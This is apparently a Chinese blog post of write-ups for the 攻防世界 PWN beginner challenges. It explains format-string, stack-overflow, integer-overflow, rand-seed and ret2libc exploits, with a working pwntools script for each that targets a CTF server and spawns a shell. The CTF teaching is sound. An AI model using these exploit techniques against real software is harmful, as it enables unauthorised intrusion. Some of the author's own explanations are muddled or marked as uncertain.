狗儿

热爱的话就坚持吧~

0%

攻防世界PWN新手区题解

pwn做题流程:通过漏洞拿到shell(/bin/sh),一般flag文件就在shell的默认目录下,直接cat flag

新手区通关,完结撒花!

0x01 get_shell

1572336450552

nc连接后直接进入shell,ls可以看到当前目录下有flag,cat输出即可

1572336578054

绿色箭头处是输入的shell命令

0x02 CGfsb

使用到了python2的一个模块pwn(pip时Ubuntu下是pwn、CentOS7中是pwntools,但是python中的模块就叫pwn),不能在windows下使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#Ubuntu下安装pwn
apt-get update
apt install python-pip
pip install pwn

#CentOS7下安装pwntools
#http://www.ishenping.com/ArtInfo/234398.html
#https://github.com/facebook/prophet/issues/418
#注意:python2和python3同时存在的,所有pip命令都要加上python2 -m的前缀
#如python2 -m pip install pwntools
yum -y install python-pip
pip install --upgrade setuptools
pip install pwntools
yum install checksec

先来看一下pwn模块的使用:

然后分析本体程序

1572365702052

23行存在printf格式化漏洞。

先来看一下相关知识:

我浅显地总结一下:

常见的printf有两(及以上)个参数,如printf("%d", &a);。但其实printf只需要一个参数,printf("%d%d");,需要参数时从栈顶依次读入即可。前面的printf("%d", &a);本质上就是先把a的地址压入栈内,然后printf读栈顶元素。

printf函数的第一个参数就是格式化字符串

1
2
3
4
5
6
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

特别说一下:

  • %n,如printf("abcdefg%n");,%n前面写了7个字符,所以向ESP(栈顶指针)所指向的地址处所指向的地址处(ESP指向了栈顶,此处存储着一个地址)写入7。

  • %10$n,与%n类似,不过是向[ESP + 10]处指向的内存处写入7。

结合本题,目的是将pwnme改为8,所以要构造长度为8的字符串(要包含pwnme的地址,否则你怎么把%n的结果传过去?),其后跟着%?$n,这个?是字符串中pwnme地址在栈中的位置(相对ESP的偏移)。

pwnme是在bss区,地址不会变动,恒为0x804A068

1572367310407

所以只需要找到偏移量即可。

message输入:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

1572367497152

AAAA(十六进制0x41414141)的目的是标记,便于发现此字符串在栈中的位置。

0xffe269be是栈顶元素,后面的依次往后排。可以发现0x41414141是第十个,即偏移量为10.

可以构造payload:p32(0x804A068) + 'aaaa%10$n''aaaa' + p32(0x804A068) + '%11$n',

aaaa只是为了占位,满足长度为8而已。

1
2
3
4
5
6
7
8
from pwn import *
p = remote('111.198.29.45','31217')
p.recvline('please tell me your name:')
p.sendline('123')
p.recvline('leave your message please:')
payload = p32(0x804A068) + 'aaaa%10$n'
p.sendline(payload)
p.interactive()

1572367813145

1
2
3
4
5
6
7
8
from pwn import *
p = remote('111.198.29.45','31217')
p.recvline('please tell me your name:')
p.sendline('123')
p.recvline('leave your message please:')
payload = 'aaaa' + p32(0x804A068) + '%11$n'
p.sendline(payload)
p.interactive()

1572367864073

0x03 when_did_you_born

此题太过暴力,爱蛙人士强烈谴责。

1572398838921

在两次判断v6是否等于1926的中间将v6改为1926即可拿到flag。

可以通过get(&v5);栈溢出。

1572399121206

v5在sp(栈顶),v6在sp+8,所以get的值只需要前8个字符随意,紧跟着一个1926,皆可改变[sp+8]([sp+8]表示sp+8处的值),即v6.

1
2
3
4
5
6
7
8
from pwn import * 
p = remote('111.198.29.45', '37481')
p.recvline("What's Your Birth?")
p.sendline('2000')
p.recvline("What's Your Name?")
payload = 'a' * (0x20 - 0x18) + str(p64(1926))
p.sendline(payload)
p.interactive()

1572399271686

0x04 hello_pwn

比前面0x03简单一些。

1572400018359

read时先写四个任意字符,到达0x60106c处,然后写入nuaa的倒序,即aaun。

因为dowrd_60106c是int类型,x86一般以Little-Endian存储(高地址存高位,低地址存低位)。但是我们的payload是字符串,一个字节就是一个字符,而数据存储整体上来看是由高地址往低地址延伸,所以对于字符串,高地址存靠前的字符,低地址存靠后的字符。正好和dowrd相反。

1
2
3
4
5
6
from pwn import *
p = remote('111.198.29.45', '31921')
p.recvline("~~ welcome to ctf ~~ ")
p.recvline("lets get helloworld for bof")
p.sendline("----aaun")
p.interactive()

1572400400247

0x05 level0

1572412902680

数组长为0x80,但是可以读入0x200个字节。

栈中结构:

1572412980510

1572412998241

+0008处的r是返回地址,程序return后从r所存储地址处开始运行。所以我们写满0x80个字符(buf),再写满0x08个字符(s),之后,我们就可以覆写r所存储的地址值了。

0x400596处是一个调用shell的函数,所以覆写的r为0x400596

1572413175873

1
2
3
4
from pwn import *
p = remote("111.198.29.45", "52778")
p.sendline('A' * 0x88 + p64(0x400596))
p.interactive()

1572413256806

调出shell后要自己输入cat flag哦~

0x06 level2

1572429898423

缓冲区0x88,允许读入0x100。明显的缓冲区溢出。

发现/bin/sh字符串在0x804A024,名为hint.

system函数的地址是0x8048320。这里有个大坑要注意:

1572431430903

有_system和system两个函数,我们找的是_system的地址。

_system:

1572432305253

system:

1572432277516

system中的extrn system:near声明一个外部近指针system,具体内容可在稍后定义。

1
2
3
4
5
6
7
8
from pwn import *
p = remote('111.198.29.45', '42945')
#system = 0x804A038
system = 0x8048320
bin_sh = 0x804A024
payload = 'a' * (0x88 + 0x04) + p32(system) + p32(0) + p32(bin_sh)
p.send(payload)
p.interactive()

payload组成:0x88个缓冲区字符,0x04个覆盖ebp地址的字符,覆写返回地址为system函数(system的栈帧中的ebp),p32(0)填充ebp+4,p32(bin_sh)自然就是system的参数(ebp+8)喽~

1572432617470

参考阅读《加密与解密》P106.

对了,使用p32()是因为这是32位程序。

1572432961070

0x07 string

主函数。动态分配内存(malloc),地址赋给v3。然后v3赋给v4,相当于v3和v4都指向同一地址。然后给出v4指向的地址和下一个第一个地址。

1572505525334

输入name,没有漏洞。

1572505720569

选择east或up。但是选up会被dragon干掉,所以必须选east.

            1572505803509

嗯,下图printf(&format, &format);存在格式化字符串任意写的漏洞。可参考0x02 CGfsb

1572505897921

最关键的一步:

第17行是将v1转化为可执行函数。

本题没有出现system函数,所以要在此处写个shellcode。

当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。

1572506059501

但是,要运行至此处,要先满足if ( *a1 == a1[1] )

a1是前面提到的v4传入函数的形参,就是个地址。a[0]=v4[0]=v3[0]=68, a[1]=v4[1]=v3[1]=85。要将a[0]和a[1]修改为相同的值。

可以通过前面提到的格式化字符串漏洞来修改。

函数sub_400BB9()内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过%?$n向v2指向的地址处写入字符串长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#查看sub_400BB9()栈内情况
from pwn import *
p = remote("111.198.29.45","49404")
context(arch='amd64', os='linux', log_level='debug')

p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)

p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')

p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:",'AAAA'+'-%p'*10)
p.recvuntil('I hear it')

1572506918791

上面程序为什么这么写,待会在后面的正式的交互代码中解释。这里只说一下最后一句。p.recvuntil('I hear it')必须要写上,否则程序的debug末尾只能看到发送了数据,看不到之后print的format字符串。如下图:

1572507351305

上上图选中处,0xc23010是v2的内容,因为v2在format(就是许下的愿望wish)的前面一位,而通过0x41414141(图中是0x2d70252d41414141,是因为这是64位程序)可以找到format的起始位置。v2是栈内第7个参数。

所以wish就写成%85c%7$n,作用是将85写入栈内第7个参数所指向的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p = remote("111.198.29.45","49404")
context(arch='amd64', os='linux', log_level='debug')

p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)

p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')

p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')

shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()

获得执行system(“/bin/sh”)汇编代码所对应的机器码:asm(shellcraft.sh())。注意要指明arch和os。arch有i386(x86)和amd64(x64)。攻防世界的题解区有人说这个函数失效,其实是因为他没指明环境。不同环境下的汇编代码是不同的。

代码的第二段从printf("secret[0] is %x\n", v4, a2);输出的字符串中,提取v4的地址,注意把末尾的\n剔除。

然后代码的第四段Give me an address,注意源代码中_isoc99_scanf("%ld", &v2);,读入的不是字符串,是int64,是个数字,不要输入0x开头的字符串,也不要类似于1003fd2c的十六进制字符串,就输入一个十进制数字就行。不要使用p64()转换!!!int转换即可,但是send发送的是一个字符串,所以再str一下。

1572507103431

总结一下POP攻击链:通过格式化字符串漏洞修改v4[0]的值,使之与v4[1]相等。然后读入shellcode并运行。(当然你也可以改v4[1]的值)

嗯,最后我想说一下shellcode的撰写。正好前两天,学长PwnHt讲了讲这方面的内容。

参考链接:

LINUX 系统调用表

1572520874504

1572520892162

算了,具体内容我掌握的还不行,所以先放一放吧。过段时间再回来补。

TODO

0x08 guess_num

参考:pwn-通过覆盖seed值劫持rand函数

猜10次数字,范围1~6。猜对直接拿到flag.

1572445116622

本题考查随机数函数rand().

漏洞点在于:

相同的环境下,如果不设定(srand)一个种子(seed)的话,每次随机到的随机数序列是相同的。比如种子为0时,在linux下的随机数序列为{2,5,4,2,6,2,5,1,4,2,…}

(想要每次运行时得到的随机数序列不同,可以每次运行都设定一个不同的种子,比如时间)

所以我们可以通过输入v7时覆盖掉seed[0],使得种子恒定。然后本地用C语言,针对某一种子,求出其随机数序列中的前十个。

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main(){
srand(2333);
for (int i=0; i<=9; i++){
printf("%d,", rand() % 6 + 1);
}
printf("\n");
}

注意windows和linux求出的随机数序列不同,这是个坑。

Ubuntu下gcc 8.cpp -o 8,得到可执行文件8。运行可得:

1572445886105

1
2
3
4
5
6
7
8
from pwn import *
p = remote('111.198.29.45', '52847')
payload = 'a' * 0x20 + p64(2333)
p.sendline(payload)
rand = [4,2,5,3,3,3,4,1,1,1]
for i in rand:
p.sendline(str(i))
p.interactive()

1572446025010

0x09 int_overflow

整数溢出。

1572455103589

读入长度为0x199的passwd。

1572455144686

若passwd长度介于[4,8),则将passwd写入栈内。

1572455229480

目标是覆写上图的返回地址r,改为调用system("cat flag");的函数的地址。

1572455307859

要想写dest,首先要过长度介于[4,8)的判断。

这里有整数溢出的漏洞。

对于_int8(8bit),最大为255。当传入256时,高位截断,取其地位,故256和1相等。

所以我们可以构造passwd的长度介于[255+4,255+8)

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("111.198.29.45", "40162")
p.sendline('1')
p.sendline('yzy')
p.recv()
system = 0x804868B
payload = 'a' * (0x14 + 0x04) + p32(system) + 'a' * (256+5-0x14-4-4)
p.sendline(payload)
p.interactive()

1572455608152

emmmm,开始时第5行的p.recv()我没写,出现错误如下图:

1572455697839

明显看出先输入了aaaaaaaaa(passwd),再输出的Please input your passwd:

猜测原因是read(0, &s, 0x19u);没读完0x19个字符。

添加上p.recv(),收到输出信息时再输入passwd.(上面的程序)

下面的程序也可以:

1
2
3
4
5
6
7
8
from pwn import *
p = remote("111.198.29.45", "40162")
p.sendline('1')
p.sendline('y'*0x18)
system = 0x804868B
payload = 'a' * (0x14 + 0x04) + p32(system) + 'a' * (256+5-0x14-4-4)
p.sendline(payload)
p.interactive()

*0x18是因为还要有个\n

0x0A cgpwn2

0x06 level2原理相同,唯一的区别在于此题没有cat flag/bin/sh的字符串,需要自己构造。

1572481372280

1572481389696

name位于bss区,可将字符串写入name变量。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

system = 0x8048420
string = 0x804A080
payload = 'a' * (0x26+4) + p32(system) + 'a'*4 + p32(string)

p = remote( '111.198.29.45','31522')
p.sendlineafter("please tell me your name", 'cat flag')
p.sendlineafter("hello,you can leave s
ome message here:", payload)
p.interactive()

1572481514352

当然你也可以写入/bin/sh,拿到shell后再cat flag

1572481634011

0x0B level3

给出了libc。存在write函数。

1572539569645

1572539560774

  • 用write函数泄露出write的真实内存地址(通过泄露got表中对应的write条目实现)
  • 然后利用write函数真实内存地址减去给的libc中write函数的偏移得到imageBase(libc加载到内存中的基址)
  • 最后imageBase加上libc中system的偏移就是真实内存地址了,/bin/sh地址同理。
    构造ROP执行system

思路:程序流程非常简单,可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。

参考:

JarvisOJ-PWN-Writeup专题-level3 (非原题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p = remote('111.198.29.45', '31447')
elf = ELF('/home/peppa/pwn/level3/level3')
libc = ELF('/home/peppa/pwn/level3/libc_32.so.6')
context.log_level = 'debug'

payload1 = 'a' * (0x88 + 4) + p32(elf.plt['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4)
p.recvuntil('Input:\n')
p.sendline(payload1)
write_addr = u32(p.recv())


libc_base_addr = write_addr - libc.sym['write']
system_addr = libc_base_addr + libc.sym['system']
bin_sh_addr = libc_base_addr + next(libc.search('/bin/sh'))

payload2 = 'a' * (0x88 + 4) + p32(system_addr) + p32(1000) + p32(bin_sh_addr)
p.sendline(payload2)
log.info(hex(elf.got['write']))
log.info('write_got_addr: %s'%hex(write_addr))
p.interactive()

payload1组成:缓冲区0x88个字符,长为4的ebp,返回地址覆写为PLT表中的write地址,接着是运行完write()后的返回地址(main的地址,因为等下payload2还要再次利用vulnerable_function()这个函数,所以要运行完write()要再次运行main()),之后就是write()的三个参数,其中第一个随便写,第二个是write的内容的地址(GOT表中write的地址,其指向内存中的write的地址。个人理解,存疑,TODO),第三个是write()内容的长度。

然后发送payload1,接受输出的write在内存中的地址。求出libc基址(内存中write的地址减去libc中write相对libc基址的偏移),求出system和/bin/sh在内存中的地址。

然后就是喜闻乐见的payload2,应该不用解释,因为前面的题中解释了好几次了。

关于GOT,PLT

动态链接时,因为不知道模块加载位置,将地址相关代码抽出,放在数据段中就是got表。

为了实现地址的延迟绑定,再加了一个中间层,是一小段精巧的指令,用于在运行中填充got表。这些指令组成plt表。

参考《程序员的自我修养》第7章动态链接

存放函数地址的数据表,称为重局偏移表(GOT, Global Offset Table),而那个额外代码段表,称为程序链接表(PLT,Procedure Link Table)。它们两姐妹各司其职,联合出手上演这一出运行时重定位好戏

我个人理解GOT里面放的是函数在内存中的地址,不知道理解地对不对。